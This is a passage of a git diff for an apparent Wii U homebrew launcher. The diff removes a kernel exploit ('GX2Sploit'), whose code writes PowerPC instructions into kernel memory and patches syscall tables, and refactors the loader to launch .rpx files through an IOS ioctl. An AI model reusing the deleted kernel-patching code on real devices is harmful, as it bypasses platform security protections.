< ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(strcmp(section_name, name) == 0) - { - if(addr) - *addr = shdr[i].sh_addr; - if(size) - *size = shdr[i].sh_size; - return shdr[i].sh_offset; - } - } - - OSFatal((char*)name); - return 0; -} - -static unsigned int load_loader_elf(unsigned char* baseAddress) -{ - //! get .text section - unsigned int main_text_addr = 0; - unsigned int main_text_len = 0; - unsigned int section_offset = get_section(___sd_loader_elf, ".text", &main_text_len, &main_text_addr); - const unsigned char *main_text = ___sd_loader_elf + section_offset; - - //! clear memory where the text and data goes by 0x2000 which is reserved for sd loader - memset(baseAddress + main_text_addr, 0, 0x2000); - - //! Copy main .text to memory - memcpy(baseAddress + main_text_addr, main_text, main_text_len); - DCFlushRange(baseAddress + main_text_addr, main_text_len); - - //! get the .data section - unsigned int main_data_addr = 0; - unsigned int main_data_len = 0; - section_offset = get_section(___sd_loader_elf, ".data", &main_data_len, &main_data_addr); - - const unsigned char *main_data = ___sd_loader_elf + section_offset; - //! Copy main data to memory - memcpy(baseAddress + main_data_addr, main_data, main_data_len); - DCFlushRange(baseAddress + main_data_addr, main_data_len); - - Elf32_Ehdr *ehdr = (Elf32_Ehdr *)___sd_loader_elf; - return ehdr->e_entry; -} - -int CheckKernelExploit(void) -{ - if(OSEffectiveToPhysical((void*)0xA0000000) == 0x10000000) - { - log_printf("Running kernel setup\n"); - - unsigned char backupBuffer[0x40]; - - u32 *targetAddress = (u32*)(0xA0000000 + (0x327FF000 - 0x10000000)); - memcpy(backupBuffer, targetAddress, sizeof(backupBuffer)); - - targetAddress[0] = 0x7c7082a6; // mfspr r3, 528 - targetAddress[1] = 0x60630003; // ori r3, r3, 0x03 - targetAddress[2] = 0x7c7083a6; // mtspr 528, r3 - targetAddress[3] = 0x7c7282a6; // mfspr r3, 530 - targetAddress[4] = 0x60630003; // ori r3, r3, 0x03 - targetAddress[5] = 0x7c7283a6; // mtspr 530, r3 - targetAddress[6] = 0x7c0006ac; // eieio - targetAddress[7] = 0x4c00012c; // isync - targetAddress[8] = 0x3c600000 | (((u32)setup_syscall) >> 16); // lis r3, setup_syscall@h - targetAddress[9] = 0x60630000 | (((u32)setup_syscall) & 0xFFFF); // ori r3, r3, setup_syscall@l - targetAddress[10] = 0x7c6903a6; // mtctr r3 - targetAddress[11] = 0x4e800420; // bctr - DCFlushRange(targetAddress, sizeof(backupBuffer)); - - u8 *sdLoaderAddress = (u8*)(0xA0000000 + (0x30000000 - 0x10000000)); - u32 entryPoint = load_loader_elf(sdLoaderAddress); - - sdLoaderAddress += BAT_SETUP_HOOK_ENTRY; - - //! set HBL version as channel version - *(u32*)(sdLoaderAddress + HBL_CHANNEL_OFFSET) = HBL_VERSION_INT; - //! OS_FIRMWARE -> 550 on 5.5.x specific addresses - *(u32*)(sdLoaderAddress + OS_FIRMWARE_OFFSET) = 550; - - OsSpecifics *osSpecificFunctions = (OsSpecifics *)(sdLoaderAddress + 0x1500); - osSpecificFunctions->addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; - osSpecificFunctions->addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; - osSpecificFunctions->addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; - osSpecificFunctions->addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; - osSpecificFunctions->addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; - osSpecificFunctions->addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; - osSpecificFunctions->addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; - osSpecificFunctions->addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; - - osSpecificFunctions->LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete; - osSpecificFunctions->LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts; - osSpecificFunctions->addr_LiWaitOneChunk = address_LiWaitOneChunk; - osSpecificFunctions->addr_PrepareTitle_hook = address_PrepareTitle_hook; - osSpecificFunctions->addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer; - osSpecificFunctions->addr_gDynloadInitialized = address_gDynloadInitialized; - osSpecificFunctions->orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk; - DCFlushRange(sdLoaderAddress, 0x2000); - - - /* set our setup syscall to an unused position */ - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x017FF000); - - /* run our kernel code :) */ - SC0x25_SetupSyscall(); - - /* revert setup syscall */ - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x0); - - /* repair data */ - memcpy(targetAddress, backupBuffer, sizeof(backupBuffer)); - DCFlushRange(targetAddress, sizeof(backupBuffer)); - - unsigned int repl_addr = ADDRESS_main_entry_hook; - *(u32*)(0xC1000000 + repl_addr) = 0x48000003 | entryPoint; - DCFlushRange((void*)0xC1000000 + repl_addr, 4); - ICInvalidateRange((void*)(repl_addr), 4); - - /* restore kernel memory table to original state */ - kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0); - kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000); - - log_printf("Kernel setup finished\n"); - - /* relaunch for BAT setup on every core */ - SYSRelaunchTitle(0, 0); - return 0; - } - else if(SC0x65_ExploitCheck(0) != 0xB00B0000) - { - log_printf("Running GX2Sploit\n"); - /* Make a thread to modify the semaphore */ - OSThread *thread = (OSThread*)memalign(8, 0x1000); - u8 *stack = (u8*)memalign(0x40, 0x2000); - - if (OSCreateThread(thread, (OSThreadEntryPointFn)exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) - { - OSFatal("Failed to create thread"); - } - - OSResumeThread(thread); - OSJoinThread(thread, 0); - free(thread); - free(stack); - - log_printf("GX2Sploit done\n"); - SYSRelaunchTitle(0, 0); - return 0; - } - - // else everything is setup - return 1; -} diff --git a/src/kernel/gx2sploit.h b/src/kernel/gx2sploit.h deleted file mode 100644 index 0d1ee31..0000000 --- a/src/kernel/gx2sploit.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef GX2SPLOIT_H_ -#define GX2SPLOIT_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -int CheckKernelExploit(void); - -#ifdef __cplusplus -} -#endif - -#endif // GX2SPLOIT_H_ diff --git a/src/kernel/gx2sploit_asm.S b/src/kernel/gx2sploit_asm.S deleted file mode 100644 index de36160..0000000 --- a/src/kernel/gx2sploit_asm.S +++ /dev/null @@ -1,37 +0,0 @@ - .globl set_semaphore_phys -set_semaphore_phys: - mflr 0 - stwu 1, -0x20(1) - stw 31, 0x1C(1) - stw 30, 0x18(1) - stw 0, 0x24(1) - - mtctr 3 - mr 3, 4 - mr 30, 5 - li 31, 1 - bctr - - .globl Register -Register: - li 0,0x3200 - sc - blr - - .globl CopyToSaveArea -CopyToSaveArea: - li 0,0x4800 - sc - blr - - .globl SC0x25_SetupSyscall -SC0x25_SetupSyscall: - li 0,0x2500 - sc - blr - - .globl SC0x65_ExploitCheck -SC0x65_ExploitCheck: - li 0,0x6500 - sc - blr diff --git a/src/main.cpp b/src/main.cpp index 5ee296b..90d0260 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -3,37 +3,20 @@ #include "system/memory.h" #include "utils/logger.h" #include "utils/utils.h" -#include "dynamic_libs/padscore_functions.h" #include "common/common.h" -#include "kernel/gx2sploit.h" -#include "menu/HomebrewMemory.h" /* Entry point */ -extern "C" int Menu_Main(void) -{ +extern "C" int Menu_Main(void) { //!******************************************************************* //! Initialize function pointers * //!******************************************************************* socket_lib_init(); //! do OS (for acquire) and sockets first so we got logging - log_init("192.168.178.3"); + log_init(); - //! ******************************************************************* - //! * Check if our application needs to run the kexploit started * - //! ******************************************************************* - if(CheckKernelExploit() == 0) - { - return 0; - } log_printf("Welcome to the Homebrew Launcher %s\n", HBL_VERSION); - InitPadScoreFunctionPointers(); - log_printf("Function exports loaded\n"); - - //! initialize homebrew memory layout - HomebrewInitMemory(); - //!******************************************************************* //! Enter main application * //!******************************************************************* @@ -44,7 +27,6 @@ extern "C" int Menu_Main(void) Application::destroyInstance(); log_printf("HBL exit\n"); - log_deinit(); return returnCode; } diff --git a/src/main.h b/src/main.h index 4204cd6..514192d 100644 --- a/src/main.h +++ b/src/main.h @@ -1,7 +1,7 @@ #ifndef _MAIN_H_ #define _MAIN_H_ -#include "common/types.h" +#include /* Main */ #ifdef __cplusplus diff --git a/src/menu/HomebrewLaunchWindow.cpp b/src/menu/HomebrewLaunchWindow.cpp index be22047..4908ee1 100644 --- a/src/menu/HomebrewLaunchWindow.cpp +++ b/src/menu/HomebrewLaunchWindow.cpp @@ -18,11 +18,14 @@ #include "HomebrewLoader.h" #include "common/common.h" #include "fs/DirList.h" -#include "fs/fs_utils.h" +#include "fs/FSUtils.h" #include "utils/HomebrewXML.h" #include "utils/utils.h" #include "Application.h" +#include + + HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData) : GuiFrame(0, 0) , buttonClickSound(Resources::GetSound("button_click.mp3")) @@ -44,8 +47,7 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm , backBtn(backImg.getWidth(), backImg.getHeight()) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) - , homebrewLaunchPath(launchPath) -{ + , homebrewLaunchPath(launchPath) { width = backgroundImg.getWidth(); height = backgroundImg.getHeight(); append(&backgroundImg); @@ -63,7 +65,7 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm const char *cpName = xmlReadSuccess ? metaXml.GetName() : launchPath.c_str(); if(strncmp(cpName, "fs:/wiiu/apps/", strlen("fs:/wiiu/apps/")) == 0) - cpName += strlen("fs:/wiiu/apps/"); + cpName += strlen("fs:/wiiu/apps/"); titleText.setText(cpName); titleText.setAlignment(ALIGN_CENTER | ALIGN_MIDDLE); @@ -135,22 +137,19 @@ HomebrewLaunchWindow::HomebrewLaunchWindow(const std::string & launchPath, GuiIm append(&backBtn); } -HomebrewLaunchWindow::~HomebrewLaunchWindow() -{ +HomebrewLaunchWindow::~HomebrewLaunchWindow() { Resources::RemoveSound(buttonClickSound); Resources::RemoveImageData(backgroundImgData); Resources::RemoveImageData(buttonImgData); } -void HomebrewLaunchWindow::OnOpenEffectFinish(GuiElement *element) -{ +void HomebrewLaunchWindow::OnOpenEffectFinish(GuiElement *element) { //! once the menu is open reset its state and allow it to be "clicked/hold" element->effectFinished.disconnect(this); element->clearState(GuiElement::STATE_DISABLED); } -void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element) -{ +void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element) { //! remove element from draw list and push to delete queue remove(element); AsyncDeleter::pushForDelete(element); @@ -159,21 +158,19 @@ void HomebrewLaunchWindow::OnCloseEffectFinish(GuiElement *element) loadBtn.clearState(GuiElement::STATE_DISABLED); } -void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::string & filepath, int result) -{ +void HomebrewLaunchWindow::OnFileLoadFinish(GuiElement *element, const std::string & filepath, int result) { element->setState(GuiElement::STATE_DISABLED); - element->setEffect(EFFECT_FADE, -10, 0); + //element->setEffect(EFFECT_FADE, -10, 0); element->effectFinished.connect(this, &HomebrewLaunchWindow::OnCloseEffectFinish); - if(result > 0) - { - Application::instance()->quit(EXIT_SUCCESS); + if(result > 0) { + SYSRelaunchTitle(0,NULL); + //Application::instance()->quit(EXIT_SUCCESS); } } -void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) -{ +void HomebrewLaunchWindow::OnLoadButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { backBtn.setState(GuiElement::STATE_DISABLED); loadBtn.setState(GuiElement::STATE_DISABLED); diff --git a/src/menu/HomebrewLaunchWindow.h b/src/menu/HomebrewLaunchWindow.h index 61aca5f..5eaba16 100644 --- a/src/menu/HomebrewLaunchWindow.h +++ b/src/menu/HomebrewLaunchWindow.h @@ -20,16 +20,14 @@ #include "gui/Gui.h" #include "gui/GuiFrame.h" -class HomebrewLaunchWindow : public GuiFrame, public sigslot::has_slots<> -{ +class HomebrewLaunchWindow : public GuiFrame, public sigslot::has_slots<> { public: HomebrewLaunchWindow(const std::string & launchPath, GuiImageData * iconImgData); virtual ~HomebrewLaunchWindow(); sigslot::signal1 backButtonClicked; private: - void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) - { + void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { backButtonClicked(this); } diff --git a/src/menu/HomebrewLoader.cpp b/src/menu/HomebrewLoader.cpp index e6b1359..79f3250 100644 --- a/src/menu/HomebrewLoader.cpp +++ b/src/menu/HomebrewLoader.cpp @@ -1,96 +1,117 @@ #include #include #include +#include #include "HomebrewLoader.h" -#include "HomebrewMemory.h" #include "fs/CFile.hpp" #include "utils/logger.h" #include "utils/StringTools.h" -HomebrewLoader * HomebrewLoader::loadToMemoryAsync(const std::string & file) -{ +HomebrewLoader * HomebrewLoader::loadToMemoryAsync(const std::string & file) { HomebrewLoader * loader = new HomebrewLoader(file); loader->resumeThread(); return loader; } -void HomebrewLoader::executeThread() -{ +void HomebrewLoader::executeThread() { int result = loadToMemory(); asyncLoadFinished(this, filepath, result); } -int HomebrewLoader::loadToMemory() -{ - if(filepath.empty()) +int32_t HomebrewLoader::loadToMemory(const std::string & file) { + HomebrewLoader * loader = new HomebrewLoader(file); + int result = loader->loadToMemory(); + delete loader; + return result;; +} + +// You must free the result if result is non-NULL. +char *str_replace(char *orig, char *rep, char *with) { + char *result; // the return string + char *ins; // the next insert point + char *tmp; // varies + int len_rep; // length of rep (the string to remove) + int len_with; // length of with (the string to replace rep with) + int len_front; // distance between rep and end of last rep + int count; // number of replacements + + // sanity checks and initialization + if (!orig || !rep) + return NULL; + len_rep = strlen(rep); + if (len_rep == 0) + return NULL; // empty rep causes infinite loop during count + if (!with) + with = ""; + len_with = strlen(with); + + // count the number of replacements needed + ins = orig; + for (count = 0; tmp = strstr(ins, rep); ++count) { + ins = tmp + len_rep; + } + + tmp = result = (char*)malloc(strlen(orig) + (len_with - len_rep) * count + 1); + + if (!result) + return NULL; + + // first time through the loop, all the variable are set correctly + // from here on, + // tmp points to the end of the result string + // ins points to the next occurrence of rep in orig + // orig points to the remainder of orig after "end of rep" + while (count--) { + ins = strstr(orig, rep); + len_front = ins - orig; + tmp = strncpy(tmp, orig, len_front) + len_front; + tmp = strcpy(tmp, with) + len_with; + orig += len_front + len_rep; // move to next "end of rep" + } + strcpy(tmp, orig); + return result; +} + +int HomebrewLoader::loadToMemory() { + if(filepath.empty()) { return INVALID_INPUT; + } log_printf("Loading file %s\n", filepath.c_str()); - CFile file(filepath, CFile::ReadOnly); - if(!file.isOpen()) - { - progressWindow.setTitle(strfmt("Failed to open file %s", FullpathToFilename(filepath.c_str()))); - sleep(1); - return FILE_OPEN_FAILURE; - } + char * repl = (char*)"fs:/vol/external01/"; + char * with = (char*)"/vol/storage_iosu_homebrew/"; + char * input = (char*) filepath.c_str(); - u32 bytesRead = 0; - u32 fileSize = file.size(); + char* extension = input + strlen(input) - 4; + if (extension[0] == '.' && + extension[1] == 'r' && + extension[2] == 'p' && + extension[3] == 'x') { - progressWindow.setTitle(strfmt("Loading file %s", FullpathToFilename(filepath.c_str()))); - unsigned char *buffer = (unsigned char*) memalign(0x40, (fileSize + 0x3F) & ~0x3F); - if(!buffer) - { - progressWindow.setTitle("Not enough memory"); - sleep(1); - return NOT_ENOUGH_MEMORY; - } + char rpxpath[280]; + char * path = str_replace(input,repl, with); + if(path != NULL) { + log_printf("Loading file %s\n", path); - // Copy rpl in memory - while(bytesRead < fileSize) - { - progressWindow.setProgress(100.0f * (f32)bytesRead / (f32)fileSize); + strncpy(rpxpath, path, sizeof(rpxpath) - 1); + rpxpath[sizeof(rpxpath) - 1] = '\0'; - u32 blockSize = 0x8000; - if(blockSize > (fileSize - bytesRead)) - blockSize = fileSize - bytesRead; + free(path); - int ret = file.read(buffer + bytesRead, blockSize); - if(ret <= 0) - { - log_printf("Failure on reading file %s\n", filepath.c_str()); - break; + int mcpFd = IOS_Open("/dev/mcp", (IOSOpenMode)0); + if(mcpFd >= 0) { + int out = 0; + IOS_Ioctl(mcpFd, 100, (void*)rpxpath, strlen(rpxpath), &out, sizeof(out)); + IOS_Close(mcpFd); + if(out == 2) { + return true; + } + } } - - bytesRead += ret; } - progressWindow.setProgress((f32)bytesRead / (f32)fileSize); - - if(bytesRead != fileSize) - { - free(buffer); - log_printf("File loading not finished for file %s, finished %i of %i bytes\n", filepath.c_str(), bytesRead, fileSize); - progressWindow.setTitle("File read failure"); - sleep(1); - return FILE_READ_ERROR; - } - - HomebrewInitMemory(); - - int ret = HomebrewCopyMemory(buffer, bytesRead); - - free(buffer); - - if(ret < 0) - { - progressWindow.setTitle("Not enough memory"); - sleep(1); - return NOT_ENOUGH_MEMORY; - } - - return fileSize; + return true; } diff --git a/src/menu/HomebrewLoader.h b/src/menu/HomebrewLoader.h index 458c061..41346c0 100644 --- a/src/menu/HomebrewLoader.h +++ b/src/menu/HomebrewLoader.h @@ -4,16 +4,13 @@ #include #include -#include "common/types.h" #include "ProgressWindow.h" #include "system/CThread.h" #include "gui/sigslot.h" -class HomebrewLoader : public GuiFrame, public CThread -{ +class HomebrewLoader : public GuiFrame, public CThread { public: - enum eLoadResults - { + enum eLoadResults { SUCCESS = 0, INVALID_INPUT = -1, FILE_OPEN_FAILURE = -2, @@ -23,20 +20,19 @@ public: static HomebrewLoader * loadToMemoryAsync(const std::string & filepath); + static int32_t loadToMemory(const std::string & file); sigslot::signal3 asyncLoadFinished; private: HomebrewLoader(const std::string & file) - : GuiFrame(0, 0) + : GuiFrame(1280, 720) , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff) , filepath(file) - , progressWindow("Loading file...") - { - append(&progressWindow); - - width = progressWindow.getWidth(); - height = progressWindow.getHeight(); - } + , bgImageColor(1280, 720, (GX2Color) { + 0, 0, 0, 0 + }) { + append(&bgImageColor); + } void executeThread(); int loadToMemory(); @@ -44,7 +40,7 @@ private: static void loadCallback(CThread *thread, void *arg); const std::string filepath; - ProgressWindow progressWindow; + GuiImage bgImageColor; }; diff --git a/src/menu/HomebrewMemory.cpp b/src/menu/HomebrewMemory.cpp deleted file mode 100644 index 4a4fafa..0000000 --- a/src/menu/HomebrewMemory.cpp +++ /dev/null @@ -1,85 +0,0 @@ -#include -#include -#include -#include "common/common.h" -#include "system/memory_area_table.h" -#include "utils/utils.h" -#include "utils/logger.h" - -static s_mem_area *mem_map = 0; -static u32 mapPosition = 0; - -void HomebrewInitMemory(void) -{ - memoryInitAreaTable(); - - mem_map = MEM_AREA_TABLE; - mapPosition = 0; - - ELF_DATA_ADDR = 0; - ELF_DATA_SIZE = 0; - RPX_MAX_SIZE = 0x40000000; - RPX_MAX_CODE_SIZE = 0x03000000; -} - -int HomebrewCopyMemory(u8 *address, u32 bytes) -{ - if(ELF_DATA_SIZE == 0) - { - // check if we load an RPX or an ELF - if(*(u16*)&address[7] != 0xCAFE) - { - // assume ELF - ELF_DATA_ADDR = (u32)APP_BASE_MEM; - } - else - { - // RPX - ELF_DATA_ADDR = MEM_AREA_TABLE->address; - } - } - - //! if we load an ELF file - if(ELF_DATA_ADDR < 0x01000000) - { - u32 targetAddress = ELF_DATA_ADDR + ELF_DATA_SIZE; - if((targetAddress + bytes) > 0x01000000) - return -1; - - memcpy((void*)(targetAddress + ELF_DATA_SIZE), address, bytes); - ELF_DATA_SIZE += bytes; - } - else - { - DCFlushRange(address, bytes); - - u32 done = 0; - u32 addressPhysical = (u32)OSEffectiveToPhysical(address); - - while((done < bytes) && mem_map) - { - if(mapPosition >= mem_map->size) - { - mem_map = mem_map->next; - if(!mem_map) - return -1; - - mapPosition = 0; - } - - u32 blockSize = bytes - done; - if((mapPosition + blockSize) > mem_map->size) - { - blockSize = mem_map->size - mapPosition; - } - - SC0x25_KernelCopyData(mem_map->address + mapPosition, (addressPhysical + done), blockSize); - - mapPosition += blockSize; - done += blockSize; - } - - ELF_DATA_SIZE += done; - } - return bytes; -} diff --git a/src/menu/HomebrewMemory.h b/src/menu/HomebrewMemory.h deleted file mode 100644 index 2d14ffb..0000000 --- a/src/menu/HomebrewMemory.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef HOMEBREW_MEMORY_H_ -#define HOMEBREW_MEMORY_H_ - -void HomebrewInitMemory(void); -int HomebrewCopyMemory(u8 *address, u32 bytes); - -#endif diff --git a/src/menu/HomebrewWindow.cpp b/src/menu/HomebrewWindow.cpp index 7601a68..ef911ea 100644 --- a/src/menu/HomebrewWindow.cpp +++ b/src/menu/HomebrewWindow.cpp @@ -18,11 +18,14 @@ #include "common/common.h" #include "Application.h" #include "fs/DirList.h" -#include "fs/fs_utils.h" +#include "fs/FSUtils.h" #include "system/AsyncDeleter.h" #include "utils/HomebrewXML.h" #include "utils/utils.h" +#include "utils/logger.h" #include "HomebrewLaunchWindow.h" +#include "HomebrewLoader.h" +#include #define DEFAULT_WIILOAD_PORT 4299 @@ -43,8 +46,7 @@ HomebrewWindow::HomebrewWindow(int w, int h) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L | GuiTrigger::BUTTON_LEFT, true) , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R | GuiTrigger::BUTTON_RIGHT, true) - , tcpReceiver(DEFAULT_WIILOAD_PORT) -{ + , tcpReceiver(DEFAULT_WIILOAD_PORT) { tcpReceiver.serverReceiveStart.connect(this, &HomebrewWindow::OnTcpReceiveStart); tcpReceiver.serverReceiveFinished.connect(this, &HomebrewWindow::OnTcpReceiveFinish); @@ -52,15 +54,18 @@ HomebrewWindow::HomebrewWindow(int w, int h) currentLeftPosition = 0; listOffset = 0; - DirList dirList("fs:/vol/external01/wiiu/apps", ".elf,.rpx", DirList::Files | DirList::CheckSubfolders, 1); + DirList dirList("fs:/vol/external01/wiiu/apps", ".rpx", DirList::Files | DirList::CheckSubfolders, 1); dirList.SortList(); - for(int i = 0; i < dirList.GetFilecount(); i++) - { + for(int i = 0; i < dirList.GetFilecount(); i++) { //! skip our own application in the listing if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0) continue; + //! skip our own application in the listing + if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.rpx") == 0) + continue; + //! skip hidden linux and mac files if(dirList.GetFilename(i)[0] == '.' || dirList.GetFilename(i)[0] == '_') @@ -79,13 +84,12 @@ HomebrewWindow::HomebrewWindow(int w, int h) if(slashPos != std::string::npos) homebrewPath.erase(slashPos); - u8 * iconData = NULL; - u32 iconDataSize = 0; + uint8_t * iconData = NULL; + uint32_t iconDataSize = 0; - LoadFileToMem((homebrewPath + "/icon.png").c_str(), &iconData, &iconDataSize); + FSUtils::LoadFileToMem((homebrewPath + "/icon.png").c_str(), &iconData, &iconDataSize); - if(iconData != NULL) - { + if(iconData != NULL) { homebrewButtons[idx].iconImgData = new GuiImageData(iconData, iconDataSize); free(iconData); iconData = NULL; @@ -106,7 +110,7 @@ HomebrewWindow::HomebrewWindow(int w, int h) const char *cpDescription = xmlReadSuccess ? metaXml.GetShortDescription() : ""; if(strncmp(cpName, "fs:/vol/external01/wiiu/apps/", strlen("fs:/vol/external01/wiiu/apps/")) == 0) - cpName += strlen("fs:/vol/external01/wiiu/apps/"); + cpName += strlen("fs:/vol/external01/wiiu/apps/"); homebrewButtons[idx].nameLabel = new GuiText(cpName, 32, glm::vec4(1.0f)); homebrewButtons[idx].nameLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); @@ -137,8 +141,7 @@ HomebrewWindow::HomebrewWindow(int w, int h) } - if((MAX_BUTTONS_ON_PAGE) < homebrewButtons.size()) - { + if((MAX_BUTTONS_ON_PAGE) < homebrewButtons.size()) { arrowLeftButton.setImage(&arrowLeftImage); arrowLeftButton.setEffectGrow(); arrowLeftButton.setPosition(40, 0); @@ -166,10 +169,8 @@ HomebrewWindow::HomebrewWindow(int w, int h) append(&hblVersionText); } -HomebrewWindow::~HomebrewWindow() -{ - for(u32 i = 0; i < homebrewButtons.size(); ++i) - { +HomebrewWindow::~HomebrewWindow() { + for(uint32_t i = 0; i < homebrewButtons.size(); ++i) { delete homebrewButtons[i].image; delete homebrewButtons[i].nameLabel; delete homebrewButtons[i].descriptionLabel; @@ -184,40 +185,33 @@ HomebrewWindow::~HomebrewWindow() Resources::RemoveImageData(arrowLeftImageData); } -void HomebrewWindow::OnOpenEffectFinish(GuiElement *element) -{ +void HomebrewWindow::OnOpenEffectFinish(GuiElement *element) { //! once the menu is open reset its state and allow it to be "clicked/hold" element->effectFinished.disconnect(this); element->clearState(GuiElement::STATE_DISABLED); } -void HomebrewWindow::OnCloseEffectFinish(GuiElement *element) -{ +void HomebrewWindow::OnCloseEffectFinish(GuiElement *element) { //! remove element from draw list and push to delete queue remove(element); AsyncDeleter::pushForDelete(element); - for(u32 i = 0; i < homebrewButtons.size(); i++) - { + for(uint32_t i = 0; i < homebrewButtons.size(); i++) { homebrewButtons[i].button->clearState(GuiElement::STATE_DISABLED); } } -void HomebrewWindow::OnLaunchBoxCloseClick(GuiElement *element) -{ +void HomebrewWindow::OnLaunchBoxCloseClick(GuiElement *element) { element->setState(GuiElement::STATE_DISABLED); element->setEffect(EFFECT_FADE, -10, 0); element->effectFinished.connect(this, &HomebrewWindow::OnCloseEffectFinish); } -void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) -{ +void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { bool disableButtons = false; - for(u32 i = 0; i < homebrewButtons.size(); i++) - { - if(button == homebrewButtons[i].button) - { + for(uint32_t i = 0; i < homebrewButtons.size(); i++) { + if(button == homebrewButtons[i].button) { HomebrewLaunchWindow * launchBox = new HomebrewLaunchWindow(homebrewButtons[i].execPath, homebrewButtons[i].iconImgData); launchBox->setEffect(EFFECT_FADE, 10, 255); launchBox->setState(GuiElement::STATE_DISABLED); @@ -231,19 +225,15 @@ void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiControlle } - if(disableButtons) - { - for(u32 i = 0; i < homebrewButtons.size(); i++) - { + if(disableButtons) { + for(uint32_t i = 0; i < homebrewButtons.size(); i++) { homebrewButtons[i].button->setState(GuiElement::STATE_DISABLED); } } } -void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) -{ - if(listOffset > 0) - { +void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { + if(listOffset > 0) { listOffset--; targetLeftPosition = -listOffset * getWidth(); @@ -253,10 +243,8 @@ void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *co } } -void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) -{ - if((listOffset * MAX_BUTTONS_ON_PAGE) < (int)homebrewButtons.size()) - { +void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { + if((listOffset * MAX_BUTTONS_ON_PAGE) < (int)homebrewButtons.size()) { listOffset++; targetLeftPosition = -listOffset * getWidth(); @@ -267,21 +255,17 @@ void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *c } } -void HomebrewWindow::draw(CVideo *pVideo) -{ +void HomebrewWindow::draw(CVideo *pVideo) { bool bUpdatePositions = false; - if(currentLeftPosition < targetLeftPosition) - { + if(currentLeftPosition < targetLeftPosition) { currentLeftPosition += 35; if(currentLeftPosition > targetLeftPosition) currentLeftPosition = targetLeftPosition; bUpdatePositions = true; - } - else if(currentLeftPosition > targetLeftPosition) - { + } else if(currentLeftPosition > targetLeftPosition) { currentLeftPosition -= 35; if(currentLeftPosition < targetLeftPosition) @@ -290,12 +274,10 @@ void HomebrewWindow::draw(CVideo *pVideo) bUpdatePositions = true; } - if(bUpdatePositions) - { + if(bUpdatePositions) { bUpdatePositions = false; - for(u32 i = 0; i < homebrewButtons.size(); i++) - { + for(uint32_t i = 0; i < homebrewButtons.size(); i++) { float fXOffset = (i / MAX_BUTTONS_ON_PAGE) * getWidth(); float fYOffset = (homebrewButtons[i].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[i].image->getHeight() + 20) * (i % MAX_BUTTONS_ON_PAGE); homebrewButtons[i].button->setPosition(currentLeftPosition + fXOffset, fYOffset); @@ -305,30 +287,29 @@ void HomebrewWindow::draw(CVideo *pVideo) GuiFrame::draw(pVideo); } -void HomebrewWindow::OnCloseTcpReceiverFinish(GuiElement *element) -{ +void HomebrewWindow::OnCloseTcpReceiverFinish(GuiElement *element) { //! remove element from draw list and push to delete queue remove(element); clearState(STATE_DISABLED); } -void HomebrewWindow::OnTcpReceiveStart(GuiElement *element, u32 ip) -{ +void HomebrewWindow::OnTcpReceiveStart(GuiElement *element, 